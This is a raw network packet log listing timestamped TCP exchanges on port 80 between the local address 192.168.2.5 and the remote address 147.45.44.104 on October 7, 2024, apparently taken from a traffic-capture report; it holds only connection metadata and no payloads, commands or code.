Oct 7, 2024 21:18:03.520973921 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.520998001 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.521006107 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.521032095 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.521044970 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.521065950 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.521100044 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.521145105 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.521145105 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.521145105 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.521883011 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.521903038 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.521914959 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.521934032 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.521944046 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.521960020 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.521960974 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.521960974 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.521964073 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.521975040 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.521977901 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.521995068 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.522048950 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.522048950 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.522766113 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.522778034 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.522793055 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.522808075 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.522823095 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.522823095 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.522828102 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.522838116 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.522856951 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.522866011 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.522866964 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.522866011 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.522900105 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.522927046 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.523677111 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.523689032 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.523701906 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.523720980 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.523730040 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.523734093 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.523734093 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.523749113 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.523761034 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.523772001 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.523772001 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.523786068 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.523803949 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.523822069 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.524631023 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.524642944 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.524665117 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.524678946 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.524687052 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.524698973 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.524703026 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.524710894 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.524728060 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.524735928 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.524739027 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.524763107 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.524812937 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.525650024 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.525662899 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.525677919 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.525687933 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.525707960 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.525719881 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.525738001 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.525748014 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.525765896 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.525765896 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.525765896 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.525768995 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.525799036 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.525824070 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.526523113 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.526534081 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.526547909 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.526566029 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.526568890 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.526578903 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.526593924 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.526599884 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.526609898 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.526628017 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.526638985 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.526660919 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.526660919 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.526660919 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.526693106 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.527431011 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.527442932 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.527462959 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.527472973 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.527497053 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.527502060 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.527519941 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.527519941 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.527519941 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.527530909 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.527539015 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.527550936 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.527561903 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.527584076 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.527626991 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.528289080 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.528301001 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.528326988 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.528338909 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.528342009 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.528357029 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.528358936 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.528369904 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.528371096 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.528392076 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.528408051 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.528417110 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.528434992 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.528434992 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.528434992 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.531405926 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.604644060 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.604654074 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.604665041 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.604899883 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.604899883 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.604904890 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.604912996 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.604926109 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.604943037 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.604964972 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.604964972 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.604990005 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.605175972 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.605216980 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.605227947 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.605264902 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.605264902 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.605264902 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.605448008 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.605457067 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.605473042 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.605489016 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.605514050 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.605525970 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.605535030 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.605540991 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.605547905 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.605564117 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.605575085 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.605591059 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.605593920 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.605593920 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.605593920 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.605601072 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.605652094 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.605652094 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.606482029 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.606491089 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.606506109 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.606514931 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.606530905 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.606539011 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.606554985 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.606564045 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.606579065 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.606579065 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.606580019 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.606579065 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.606602907 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.606612921 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.607449055 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.607459068 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.607474089 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.607481956 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.607494116 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.607503891 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.607503891 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.607507944 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.607520103 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.607533932 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.607543945 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.607563019 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.607563019 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.607563019 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.607587099 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.608448029 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.608458996 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.608468056 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.608483076 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.608485937 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.608490944 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.608505964 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.608515024 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.608531952 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.608539104 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.608550072 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.608551025 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.608551025 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.608556986 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.608699083 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.608699083 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.609469891 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.609481096 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.609499931 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.609509945 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.609525919 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.609535933 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.609553099 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.609563112 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.609572887 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.609572887 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.609572887 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.609581947 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.609592915 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.609607935 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.610392094 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.610402107 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.610419035 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.610429049 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.610445976 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.610450029 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.610450029 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.610450029 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.610459089 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.610472918 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.610488892 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.610498905 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.610508919 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.610510111 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.610510111 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.611279964 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.611355066 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.611366034 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.611381054 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.611404896 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.611411095 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.611413956 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.611432076 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.611433029 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.611440897 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.611459017 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.611465931 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.611465931 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.611469984 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.611824989 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.611824989 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.612346888 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.612358093 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.612375021 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.612385035 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.612401962 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.612412930 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.612427950 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.612427950 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.612427950 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.612430096 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.612442970 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.612457037 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.612497091 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.612497091 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.612497091 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.613164902 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.613174915 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.613192081 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.613202095 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.613218069 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.613228083 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.613240957 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.613257885 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.613266945 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.613275051 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.613275051 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.613275051 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.613286018 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.613295078 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.613312006 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.613337994 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.613337994 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.613337994 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.613363028 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.614149094 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.614160061 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.614176989 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.614187002 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.614198923 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.614212990 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.614228964 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.614231110 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.614231110 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.614231110 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.614238977 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.614255905 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.614265919 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.614279032 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.614295006 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.614295959 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.614295959 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.615091085 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.615101099 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.615113020 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.615127087 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.615142107 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.615151882 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.615154982 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.615154982 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.615155935 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.615170002 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.615179062 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.615192890 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.615210056 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.615219116 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.615226984 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.615226984 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.615226984 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.615406036 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.615406036 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.687391043 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.687488079 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.687500000 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.687547922 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.687549114 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.687549114 CEST	49705	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:03.687633991 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.687653065 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.687663078 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.687681913 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.687695980 CEST	80	49705	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:03.687700033 CEST	49705	80	192.168.2.5	147.45.44.104
